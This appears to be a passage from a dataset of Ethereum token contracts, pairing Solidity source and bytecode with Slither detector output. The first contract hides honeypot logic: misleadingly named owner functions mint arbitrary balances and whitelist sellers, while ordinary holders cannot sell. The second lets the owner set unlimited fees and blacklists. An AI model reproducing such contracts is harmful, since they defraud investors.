return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820ce43c3e327825c27bced3ea3070f903c8a740a39fa5fbde701006da76c31f2af64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,546 |
0x28473055acc0a95eca6a577f6f6a58e44c935bdf
|
/**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TwoFaceInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Two-Face Inu";//
string private constant _symbol = "TFI";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x997Bf1a779Dc241b1b76f989B51116240E87ae0a);//
address payable private _marketingAddress = payable(0x997Bf1a779Dc241b1b76f989B51116240E87ae0a);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 75000000 * 10**9; //
uint256 public _maxWalletSize = 150000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610549578063dd62ed3e1461055f578063ea1644d5146105a5578063f2fde38b146105c557600080fd5b8063a9059cbb146104c4578063bfd79284146104e4578063c3c8cd8014610514578063c492f0461461052957600080fd5b80638f9a55c0116100d15780638f9a55c01461044257806395d89b411461045857806398a5c31514610484578063a2a957bb146104a457600080fd5b80637d1db4a5146103ee5780638da5cb5b146104045780638f70ccf71461042257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611a00565b6105e5565b005b34801561020a57600080fd5b5060408051808201909152600c81526b54776f2d4661636520496e7560a01b60208201525b60405161023c9190611ac5565b60405180910390f35b34801561025157600080fd5b50610265610260366004611b1a565b610684565b604051901515815260200161023c565b34801561028157600080fd5b50601554610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50678ac7230489e800005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611b46565b61069b565b3480156102fe57600080fd5b506102c460195481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601654610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611b87565b610704565b34801561037057600080fd5b506101fc61037f366004611bb4565b61074f565b34801561039057600080fd5b506101fc610797565b3480156103a557600080fd5b506102c46103b4366004611b87565b6107e2565b3480156103c557600080fd5b506101fc610804565b3480156103da57600080fd5b506101fc6103e9366004611bcf565b610878565b3480156103fa57600080fd5b506102c460175481565b34801561041057600080fd5b506000546001600160a01b0316610295565b34801561042e57600080fd5b506101fc61043d366004611bb4565b6108a7565b34801561044e57600080fd5b506102c460185481565b34801561046457600080fd5b5060408051808201909152600381526254464960e81b602082015261022f565b34801561049057600080fd5b506101fc61049f366004611bcf565b6108f3565b3480156104b057600080fd5b506101fc6104bf366004611be8565b610922565b3480156104d057600080fd5b506102656104df366004611b1a565b610960565b3480156104f057600080fd5b506102656104ff366004611b87565b60116020526000908152604090205460ff1681565b34801561052057600080fd5b506101fc61096d565b34801561053557600080fd5b506101fc610544366004611c1a565b6109c1565b34801561055557600080fd5b506102c460085481565b34801561056b57600080fd5b506102c461057a366004611c9e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b157600080fd5b506101fc6105c0366004611bcf565b610a62565b3480156105d157600080fd5b506101fc6105e0366004611b87565b610a91565b6000546001600160a01b031633146106185760405162461bcd60e51b815260040161060f90611cd7565b60405180910390fd5b60005b81518110156106805760016011600084848151811061063c5761063c611d0c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067881611d38565b91505061061b565b5050565b6000610691338484610b7b565b5060015b92915050565b60006106a8848484610c9f565b6106fa84336106f585604051806060016040528060288152602001611e52602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611252565b610b7b565b5060019392505050565b6000546001600160a01b0316331461072e5760405162461bcd60e51b815260040161060f90611cd7565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107795760405162461bcd60e51b815260040161060f90611cd7565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107cc57506014546001600160a01b0316336001600160a01b0316145b6107d557600080fd5b476107df8161128c565b50565b6001600160a01b03811660009081526002602052604081205461069590611311565b6000546001600160a01b0316331461082e5760405162461bcd60e51b815260040161060f90611cd7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a25760405162461bcd60e51b815260040161060f90611cd7565b601755565b6000546001600160a01b031633146108d15760405162461bcd60e51b815260040161060f90611cd7565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461091d5760405162461bcd60e51b815260040161060f90611cd7565b601955565b6000546001600160a01b0316331461094c5760405162461bcd60e51b815260040161060f90611cd7565b600993909355600b91909155600a55600c55565b6000610691338484610c9f565b6013546001600160a01b0316336001600160a01b031614806109a257506014546001600160a01b0316336001600160a01b0316145b6109ab57600080fd5b60006109b6306107e2565b90506107df81611395565b6000546001600160a01b031633146109eb5760405162461bcd60e51b815260040161060f90611cd7565b60005b82811015610a5c578160056000868685818110610a0d57610a0d611d0c565b9050602002016020810190610a229190611b87565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5481611d38565b9150506109ee565b50505050565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b815260040161060f90611cd7565b601855565b6000546001600160a01b03163314610abb5760405162461bcd60e51b815260040161060f90611cd7565b6001600160a01b038116610b205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161060f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060f565b6001600160a01b038216610c3e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d035760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060f565b6001600160a01b038216610d655760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060f565b60008111610dc75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060f565b6000546001600160a01b03848116911614801590610df357506000546001600160a01b03838116911614155b1561114b57601654600160a01b900460ff16610e8c576000546001600160a01b03848116911614610e8c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161060f565b601754811115610ede5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161060f565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2057506001600160a01b03821660009081526011602052604090205460ff16155b610f785760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161060f565b6008544311158015610f9757506016546001600160a01b038481169116145b8015610fb157506015546001600160a01b03838116911614155b8015610fc657506001600160a01b0382163014155b15610fef576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110745760185481611011846107e2565b61101b9190611d53565b106110745760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161060f565b600061107f306107e2565b6019546017549192508210159082106110985760175491505b8080156110af5750601654600160a81b900460ff16155b80156110c957506016546001600160a01b03868116911614155b80156110de5750601654600160b01b900460ff165b801561110357506001600160a01b03851660009081526005602052604090205460ff16155b801561112857506001600160a01b03841660009081526005602052604090205460ff16155b156111485761113682611395565b478015611146576111464761128c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061118d57506001600160a01b03831660009081526005602052604090205460ff165b806111bf57506016546001600160a01b038581169116148015906111bf57506016546001600160a01b03848116911614155b156111cc57506000611246565b6016546001600160a01b0385811691161480156111f757506015546001600160a01b03848116911614155b1561120957600954600d55600a54600e555b6016546001600160a01b03848116911614801561123457506015546001600160a01b03858116911614155b156112465